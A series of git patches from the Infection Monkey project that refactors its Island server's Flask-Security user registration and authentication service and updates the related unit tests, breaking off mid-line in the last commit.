00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 17:50:24 +0100 Subject: [PATCH 0405/1338] Island: Add ConfirmRegisterForm to flask security --- monkey/monkey_island/cc/app.py | 50 +++++++++++++++++++++++----------- 1 file changed, 34 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 7def36332c2..61150fa631d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -4,8 +4,9 @@ import flask_restful from flask import Flask, Response, send_from_directory from flask_mongoengine import MongoEngine -from flask_security import MongoEngineUserDatastore, Security +from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security from werkzeug.exceptions import NotFound +from wtforms import PasswordField, StringField, validators from common import DIContainer from monkey_island.cc.models import Role, User @@ -69,6 +70,37 @@ def serve_home(): return serve_static_file(HOME_FILE) +def setup_authentication(app, data_dir): + flask_security_config = generate_flask_security_configuration(data_dir) + + # TODO: After we switch to token base authentication investigate the purpose + # of `SECRET_KEY` and `SECURITY_PASSWORD_SALT`, take into consideration + # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 + app.config["SECRET_KEY"] = flask_security_config["secret_key"] + app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] + app.config["SECURITY_USERNAME_ENABLE"] = True + app.config["SECURITY_USERNAME_REQUIRED"] = True + app.config["SECURITY_REGISTERABLE"] = True + app.config["WTF_CSRF_CHECK_DEFAULT"] = False + app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True + app.config["SECURITY_SEND_REGISTER_EMAIL"] = False + + # The database object needs to be created after we configure the flask application + db = MongoEngine(app) + + class CustomConfirmRegisterForm(ConfirmRegisterForm): + # Flask-Security doesn't let you register without an email field + email = StringField("Email", default="dummy@dummy.com") + password = PasswordField( + "Password", + [validators.DataRequired(), validators.Length(min=1, max=25)], + ) + + user_datastore = MongoEngineUserDatastore(db, User, Role) + + app.security = Security(app, user_datastore, confirm_register_form=CustomConfirmRegisterForm) + + def init_app_config(app, mongo_url, data_dir: Path): app.config["MONGO_URI"] = mongo_url app.config["MONGODB_SETTINGS"] = [ @@ -79,27 +111,13 @@ def init_app_config(app, mongo_url, data_dir: Path): } ] - flask_security_config = generate_flask_security_configuration(data_dir) - - # TODO: After we switch to token base authentication investigate the purpose - # of `SECRET_KEY` and `SECURITY_PASSWORD_SALT`, take into consideration - # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 - app.config["SECRET_KEY"] = flask_security_config["secret_key"] - app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] - app.config["SECURITY_USERNAME_ENABLE"] = True - # By default, Flask sorts keys of JSON objects alphabetically. # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config["JSON_SORT_KEYS"] = False app.url_map.strict_slashes = False - # The database object needs to be created after we configure the flask application - db = MongoEngine(app) - - # Setup Flask-Security - user_datastore = MongoEngineUserDatastore(db, User, Role) - app.security = Security(app, user_datastore) + setup_authentication(app, data_dir) def init_app_url_rules(app): From 35af056b6e6857cf1b44f91b5da2f141f566bcf5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 17:51:18 +0100 Subject: [PATCH 0406/1338] Common: Remove unused AlreadyRegisteredError --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 7ba937b5e1c..70de88e16bd 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -6,10 +6,6 @@ class InvalidRegistrationCredentialsError(Exception): """Raise when server config file changed and island needs to restart""" -class AlreadyRegisteredError(Exception): - """Raise to indicate the reason why registration is not required""" - - class IncorrectCredentialsError(Exception): """Raise to indicate that authentication failed""" From 3d8a0683fee699a0779f67526f2411889003e3e3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 17:52:14 +0100 Subject: [PATCH 0407/1338] UT: Fix up authentication successfull test --- .../monkey_island/cc/resources/auth/test_authenticate.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py index ab0184262d2..f54115b66a6 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py @@ -4,6 +4,7 @@ import pytest from common.utils.exceptions import IncorrectCredentialsError +from monkey_island.cc.models import User from monkey_island.cc.resources.auth import Authenticate USERNAME = "test_user" @@ -32,13 +33,15 @@ def test_empty_credentials(make_auth_request, mock_authentication_service): def test_authentication_successful(make_auth_request, mock_authentication_service): - mock_authentication_service.authenticate = MagicMock(return_value=True) + mock_authentication_service.authenticate = MagicMock( + return_value=User(username="test", password="test") + ) response = make_auth_request(TEST_REQUEST) assert response.status_code == 200 assert re.match( - r"^[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=\-_]+$", response.json["access_token"] + r"^[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=\-_]+$", response.json["csrf_token"] ) From 2b46a4d8d605fb1dc604a27ba76548db02ae85d0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 18:11:37 +0100 Subject: [PATCH 0408/1338] Island: Implement AuthenticationService.reset_island Remove AuthenticationService.register_new_user --- .../cc/resources/auth/register.py | 37 ++++--------------- monkey/monkey_island/cc/services/__init__.py | 2 +- .../cc/services/authentication_service.py | 33 +++-------------- 3 files changed, 14 insertions(+), 58 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 6d44f8c8d55..a8cf6e81c40 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -2,13 +2,12 @@ from http import HTTPStatus from flask import make_response, request +from flask.typing import ResponseValue from flask_security.views import register -from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request -from monkey_island.cc.server_utils.encryption import ILockableEncryptor +from monkey_island.cc.services.authentication_service import AuthenticationService logger = logging.getLogger(__name__) @@ -20,13 +19,8 @@ class Register(AbstractResource): urls = ["/api/register"] - def __init__( - self, - repository_encryptor: ILockableEncryptor, - island_event_queue: IIslandEventQueue, - ): - self._repository_encryptor = repository_encryptor - self._island_event_queue = island_event_queue + def __init__(self, authentication_service: AuthenticationService): + self._authentication_service = authentication_service def post(self): """ @@ -37,28 +31,13 @@ def post(self): try: # This method take the request data and pass it to the RegisterForm - # where a registration request is preform. Return value is a flask.Response - # object - response = register() + # where a registration request is preform. + # Return value is a flask.Response object + response: ResponseValue = register() if response.status_code == HTTPStatus.OK: - self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) - self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) - self._island_event_queue.publish( - topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET - ) - - self._reset_repository_encryptor(username, password) + self._authentication_service.reset_island(username, password) return make_response(response) except Exception as err: return make_response({"error": str(err)}, HTTPStatus.INTERNAL_SERVER_ERROR) - - def _reset_repository_encryptor(self, username: str, password: str): - secret = _get_secret_from_credentials(username, password) - self._repository_encryptor.reset_key() - self._repository_encryptor.unlock(secret.encode()) - - -def _get_secret_from_credentials(username: str, password: str) -> str: - return f"{username}:{password}" diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 721b2f78df5..2b7ab4e7eb8 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -1,5 +1,5 @@ from .agent_signals_service import AgentSignalsService -from .authentication_service import AuthenticationService, UserLimitError +from .authentication_service import AuthenticationService from .aws import AWSService diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index dddb8e62f78..adf4f17c2e6 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,18 +1,11 @@ from pathlib import Path -from typing import Optional -from flask_security.utils import hash_password - -from common.utils.exceptions import IncorrectCredentialsError, InvalidRegistrationCredentialsError +from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor -class UserLimitError(Exception): - """Raise when the allowed limit of users registered on the Island is being exceeded""" - - class AuthenticationService: """ A service for user authentication @@ -36,26 +29,13 @@ def needs_registration(self) -> bool: """ return not User.objects.first() - def register_new_user(self, username: str, password: str): + def reset_island(self, username: str, password: str): """ - Registers a new user on the Island, then resets the encryptor and database + Resets the encryptor and database - :param username: Username to register - :param password: Password to register - :raises InvalidRegistrationCredentialsError: If username or password is empty + :param username: Username to reset encryptor + :param password: Password to reset encryptor """ - if not username or not password: - raise InvalidRegistrationCredentialsError("Username or password can not be empty.") - - if self._user_already_registered(): - raise UserLimitError( - "A registered user already exists. To reset your credentials, follow the " - "instructions at https://techdocs.akamai.com/infection-monkey/docs/" - "frequently-asked-questions#reset-the-monkey-island-password." - ) - - User(username=username, password=hash_password(password)).save() - self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) self._island_event_queue.publish( @@ -64,9 +44,6 @@ def register_new_user(self, username: str, password: str): self._reset_repository_encryptor(username, password) - def _user_already_registered(self) -> Optional[User]: - return User.objects.first() - def authenticate(self, username: str, password: str) -> User: registered_user = User.objects.filter(username=username).first() From 242c0a4e68d1a14cd5ff34af04044c52e3cf4a27 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 18:12:59 +0100 Subject: [PATCH 0409/1338] UT: Add AuthenticationServer.reset_island test Some of the tests that used remove register_new_user should be modified --- .../services/test_authentication_service.py | 106 +++++++----------- 1 file changed, 41 insertions(+), 65 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 5c254ce8e1a..7efb2c9a731 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -2,11 +2,11 @@ import pytest -from common.utils.exceptions import IncorrectCredentialsError, InvalidRegistrationCredentialsError +from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from monkey_island.cc.services import AuthenticationService, UserLimitError +from monkey_island.cc.services import AuthenticationService USERNAME = "user1" PASSWORD = "test" @@ -36,59 +36,34 @@ def test_needs_registration__true( assert a_s.needs_registration() -def test_needs_registration__false( - mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue -): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - a_s.register_new_user(USERNAME, PASSWORD) +# def test_needs_registration__false( +# mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +# ): +# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) +# +# a_s.register_new_user(USERNAME, PASSWORD) +# +# assert not a_s.needs_registration() - assert not a_s.needs_registration() - -def test_needs_registration__two_users( +def test_reset_island__unlock_encryptor_on_register( mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue ): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - a_s.register_new_user(USERNAME, PASSWORD) - - with pytest.raises(UserLimitError): - a_s.register_new_user("user2", PASSWORD) - -def test_register_new_user__empty_password_fails( - tmp_path, mock_repository_encryptor, mock_island_event_queue -): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - with pytest.raises(InvalidRegistrationCredentialsError): - a_s.register_new_user(USERNAME, "") - - mock_repository_encryptor.reset_key().assert_not_called() - mock_repository_encryptor.unlock.assert_not_called() - mock_island_event_queue.publish.assert_not_called() - - -@pytest.mark.slow -def test_register_new_user( - mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue -): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - a_s.register_new_user(USERNAME, PASSWORD) + a_s.reset_island(USERNAME, PASSWORD) mock_repository_encryptor.reset_key.assert_called_once() mock_repository_encryptor.unlock.assert_called_once() assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME -@pytest.mark.slow -def test_register_new_user__publish_to_event_topics( +def test_reset_island__publish_to_event_topics( mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue ): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - a_s.register_new_user(USERNAME, PASSWORD) + a_s.reset_island(USERNAME, PASSWORD) assert mock_island_event_queue.publish.call_count == 3 mock_island_event_queue.publish.assert_has_calls( @@ -100,32 +75,33 @@ def test_register_new_user__publish_to_event_topics( ) -@pytest.mark.slow -@pytest.mark.parametrize( - ("username", "password"), [("wrong_username", PASSWORD), (USERNAME, "wrong_password")] -) -def test_authenticate__failed_wrong_credentials( - mock_flask_app, tmp_path, username, password, mock_repository_encryptor, mock_island_event_queue -): - - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - a_s.register_new_user(USERNAME, PASSWORD) - with pytest.raises(IncorrectCredentialsError): - a_s.authenticate(username, password) - - mock_repository_encryptor.unlock.call_count == 2 - - -@pytest.mark.slow -def test_authenticate__success( - mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue -): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - # If authentication fails, this function will raise an exception and the test will fail. - a_s.register_new_user(USERNAME, PASSWORD) - a_s.authenticate(USERNAME, PASSWORD) - mock_repository_encryptor.unlock.call_count == 2 +# @pytest.mark.slow +# @pytest.mark.parametrize( +# ("username", "password"), [("wrong_username", PASSWORD), (USERNAME, "wrong_password")] +# ) +# def test_authenticate__failed_wrong_credentials( +# mock_flask_app, tmp_path, username, password, mock_repository_encryptor, +# mock_island_event_queue +# ): +# +# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) +# a_s.register_new_user(USERNAME, PASSWORD) +# with pytest.raises(IncorrectCredentialsError): +# a_s.authenticate(username, password) +# +# mock_repository_encryptor.unlock.call_count == 2 +# +# +# @pytest.mark.slow +# def test_authenticate__success( +# mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +# ): +# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) +# +# # If authentication fails, this function will raise an exception and the test will fail. +# a_s.register_new_user(USERNAME, PASSWORD) +# a_s.authenticate(USERNAME, PASSWORD) +# mock_repository_encryptor.unlock.call_count == 2 def test_authenticate__failed_no_registered_user( From 4eb6ead66ca8110a41dc50543ff10215a2f32910 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 18:30:30 +0100 Subject: [PATCH 0410/1338] UT: Add reset_island to mocked authentication service --- .../tests/unit_tests/monkey_island/cc/resources/auth/conftest.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py index 3cb37c638ca..3b2f7e73f52 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py @@ -10,6 +10,7 @@ def mock_authentication_service(): mock_service = MagicMock(spec=AuthenticationService) mock_service.authenticate = MagicMock() + mock_service.reset_island = MagicMock() return mock_service From 6f20056b26048f4ba6d1c5e17878635ab06c21cb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 18:32:40 +0100 Subject: [PATCH 0411/1338] Common: Remove unused InvalidRegistrationCredentialsError --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 70de88e16bd..a9368f20756 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -2,10 +2,6 @@ class FailedExploitationError(Exception): """Raise when exploiter fails instead of returning False""" -class InvalidRegistrationCredentialsError(Exception): - """Raise when server config file changed and island needs to restart""" - - class IncorrectCredentialsError(Exception): """Raise to indicate that authentication failed""" From 7a1b01caf1ea31246e2a956eaf5567125c0f283d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 28 Feb 2023 18:33:07 +0100 Subject: [PATCH 0412/1338] UT: Init Register resource tests We need more. --- .../cc/resources/auth/test_register.py | 61 +++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py new file mode 100644 index 00000000000..380a1c3bb00 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -0,0 +1,61 @@ +import re +from unittest.mock import MagicMock + +import pytest +from flask import Response + +from monkey_island.cc.resources.auth import Register + +USERNAME = "test_user" +PASSWORD = "test_password" +TEST_REQUEST = f'{{"username": "{USERNAME}", "password": "{PASSWORD}"}}' + + +@pytest.fixture +def make_auth_request(flask_client): + url = Register.urls[0] + + def inner(request_body): + return flask_client.post(url, data=request_body, follow_redirects=True) + + return inner + + +def test_register_with_empty_credentials( + monkeypatch, make_auth_request, mock_authentication_service +): + monkeypatch.setattr( + "flask_security.views.register", + lambda: Response(status_code=400), + ) + response = make_auth_request("{}") + mock_authentication_service.reset_island.assert_not_called() + + assert response.status_code == 400 + + +# def test_authentication_successful(make_auth_request, mock_authentication_service): +# response = make_auth_request(TEST_REQUEST) + +# assert response.status_code == 200 +# assert re.match( +# r"^[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=\-_]+$", response.json["csrf_token"] +# ) + + +# def test_authentication_failure(make_auth_request, mock_authentication_service): +# +# response = make_auth_request(TEST_REQUEST) +# +# assert "access_token" not in response.json +# assert response.status_code == 401 +# assert response.json["error"] == "Invalid credentials" + + +# def test_authentication_error(make_auth_request, mock_authentication_service): +# mock_authentication_service.authenticate = MagicMock(side_effect=Exception()) +# +# response = make_auth_request(TEST_REQUEST) +# +# assert "access_token" not in response.json +# assert response.status_code == 500 From 957d6ee96d3930ba663274f3caf1d024802abe17 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 11:37:46 +0100 Subject: [PATCH 0413/1338] Island: Add check for empty credentials in Register endpoint --- monkey/monkey_island/cc/resources/auth/register.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index a8cf6e81c40..06bf2155472 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -27,9 +27,13 @@ def post(self): Registers a new user using flask security register """ - username, password = get_username_password_from_request(request) - try: + username, password = get_username_password_from_request(request) + if not username or not password: + return make_response( + {"error": "Provided empty credentials"}, HTTPStatus.BAD_REQUEST + ) + # This method take the request data and pass it to the RegisterForm # where a registration request is preform. # Return value is a flask.Response object From a0f768e6a5cf22e75123085fc2302e5687f0b8eb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 11:38:28 +0100 Subject: [PATCH 0414/1338] UT: Finalize tests for Register endpoint --- .../cc/resources/auth/test_register.py | 47 +++++++++---------- 1 file changed, 22 insertions(+), 25 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 380a1c3bb00..75aa7e3ab95 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -1,4 +1,4 @@ -import re +import json from unittest.mock import MagicMock import pytest @@ -24,38 +24,35 @@ def inner(request_body): def test_register_with_empty_credentials( monkeypatch, make_auth_request, mock_authentication_service ): - monkeypatch.setattr( - "flask_security.views.register", - lambda: Response(status_code=400), - ) response = make_auth_request("{}") mock_authentication_service.reset_island.assert_not_called() assert response.status_code == 400 -# def test_authentication_successful(make_auth_request, mock_authentication_service): -# response = make_auth_request(TEST_REQUEST) +def test_register_successful(monkeypatch, make_auth_request, mock_authentication_service): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.register.register", + lambda: Response( + status=200, + ), + ) + + response = make_auth_request(TEST_REQUEST) + + assert response.status_code == 200 + mock_authentication_service.reset_island.assert_called_with(USERNAME, PASSWORD) -# assert response.status_code == 200 -# assert re.match( -# r"^[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=\-_]+$", response.json["csrf_token"] -# ) +def test_register_error(monkeypatch, make_auth_request, mock_authentication_service): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.register.register", + lambda: Response(status=200), + ) -# def test_authentication_failure(make_auth_request, mock_authentication_service): -# -# response = make_auth_request(TEST_REQUEST) -# -# assert "access_token" not in response.json -# assert response.status_code == 401 -# assert response.json["error"] == "Invalid credentials" + mock_authentication_service.reset_island = MagicMock(side_effect=Exception()) + response = make_auth_request(TEST_REQUEST) -# def test_authentication_error(make_auth_request, mock_authentication_service): -# mock_authentication_service.authenticate = MagicMock(side_effect=Exception()) -# -# response = make_auth_request(TEST_REQUEST) -# -# assert "access_token" not in response.json -# assert response.status_code == 500 + assert "csrf_token" not in json.loads(response.data) + assert response.status_code == 500 From 7cac3f56ee157cecf8ed4ba156e67a8b832e6757 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 1 Mar 2023 17:30:55 +0530 Subject: [PATCH 0415/1338] UT: Fix AuthenticationService's registration tests --- .../services/test_authentication_service.py | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 7efb2c9a731..adc1bcbd82a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -4,7 +4,7 @@ from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode +from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services import AuthenticationService @@ -36,14 +36,16 @@ def test_needs_registration__true( assert a_s.needs_registration() -# def test_needs_registration__false( -# mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue -# ): -# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) -# -# a_s.register_new_user(USERNAME, PASSWORD) -# -# assert not a_s.needs_registration() +def test_needs_registration__false( + monkeypatch, mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue +): + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) + + mock_user = MagicMock(spec=User) + monkeypatch.setattr("monkey_island.cc.services.authentication_service.User", mock_user) + mock_user.objects.first.return_value = User(username=USERNAME) + + assert not a_s.needs_registration() def test_reset_island__unlock_encryptor_on_register( From a9155853b480d70f07cc56419e2ded239dac7ff1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 13:39:04 +0100 Subject: [PATCH 0416/1338] Island: Fix comment in User model --- monkey/monkey_island/cc/models/user.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/models/user.py index 6f4545944cd..13b59b75378 100644 --- a/monkey/monkey_island/cc/models/user.py +++ b/monkey/monkey_island/cc/models/user.py @@ -10,8 +10,8 @@ class User(Document, UserMixin): username = StringField(max_length=255, unique=True) # Flask-Security doesn't let you register without an email field email = StringField() - # We're actually storing the password hash (using Flask-Security's `hash_password()`). - # Flask-Security's `verify_and_update_password()`, which we're using for authentication, + # Flask-Security-Too actually stores the password hash in this field. + # Flask-Security-Too's `verify_and_update_password()`, which we're using for authentication, # requires that this field is called "password". password = StringField() active = BooleanField(default=True) From 191c546d32b3f443867377808da9ec09ed74f96c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 13:43:31 +0100 Subject: [PATCH 0417/1338] Island: Fix comment in CustomConfirmRegisterForm --- monkey/monkey_island/cc/app.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 61150fa631d..ded9437bb39 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -89,7 +89,9 @@ def setup_authentication(app, data_dir): db = MongoEngine(app) class CustomConfirmRegisterForm(ConfirmRegisterForm): - # Flask-Security doesn't let you register without an email field + # Flask-Security-Too by default expects email field in the User model + # so we remove validators from the email field, because we expected username + # instead of email in the registration request email = StringField("Email", default="dummy@dummy.com") password = PasswordField( "Password", From 84eabdedd45a4b6aced60cc6419606443291bfac Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 14:15:07 +0100 Subject: [PATCH 0418/1338] Island: Remove overriden password field in CustomConfirmRegistration Form --- monkey/monkey_island/cc/app.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ded9437bb39..fa4fadd1ebb 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -6,7 +6,7 @@ from flask_mongoengine import MongoEngine from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security from werkzeug.exceptions import NotFound -from wtforms import PasswordField, StringField, validators +from wtforms import StringField from common import DIContainer from monkey_island.cc.models import Role, User @@ -93,10 +93,6 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): # so we remove validators from the email field, because we expected username # instead of email in the registration request email = StringField("Email", default="dummy@dummy.com") - password = PasswordField( - "Password", - [validators.DataRequired(), validators.Length(min=1, max=25)], - ) user_datastore = MongoEngineUserDatastore(db, User, Role) From 761bb6b70e0165b270e380a8fa06f7a012bdfbfa Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 14:21:12 +0100 Subject: [PATCH 0419/1338] Island: Remove check for empty credentials in Register endpoint Flask-Security-Too register method is taking care of that --- monkey/monkey_island/cc/resources/auth/register.py | 10 +--------- .../monkey_island/cc/resources/auth/test_register.py | 8 +++++++- 2 files changed, 8 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 06bf2155472..847b162fc29 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -29,16 +29,8 @@ def post(self): """ try: username, password = get_username_password_from_request(request) - if not username or not password: - return make_response( - {"error": "Provided empty credentials"}, HTTPStatus.BAD_REQUEST - ) - - # This method take the request data and pass it to the RegisterForm - # where a registration request is preform. - # Return value is a flask.Response object - response: ResponseValue = register() + response: ResponseValue = register() if response.status_code == HTTPStatus.OK: self._authentication_service.reset_island(username, password) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 75aa7e3ab95..e921ccc5e1f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -24,9 +24,15 @@ def inner(request_body): def test_register_with_empty_credentials( monkeypatch, make_auth_request, mock_authentication_service ): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.register.register", + lambda: Response( + status=400, + ), + ) response = make_auth_request("{}") - mock_authentication_service.reset_island.assert_not_called() + mock_authentication_service.reset_island.assert_not_called() assert response.status_code == 400 From e994dd8e2a7549840919fe61a447fdcf04059bf2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 14:33:04 +0100 Subject: [PATCH 0420/1338] Island: Limit registraion to one user --- monkey/monkey_island/cc/resources/auth/register.py | 5 +++++ .../monkey_island/cc/resources/auth/test_register.py | 7 +++++++ 2 files changed, 12 insertions(+) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 847b162fc29..be2f4626165 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -28,6 +28,11 @@ def post(self): """ try: + if not 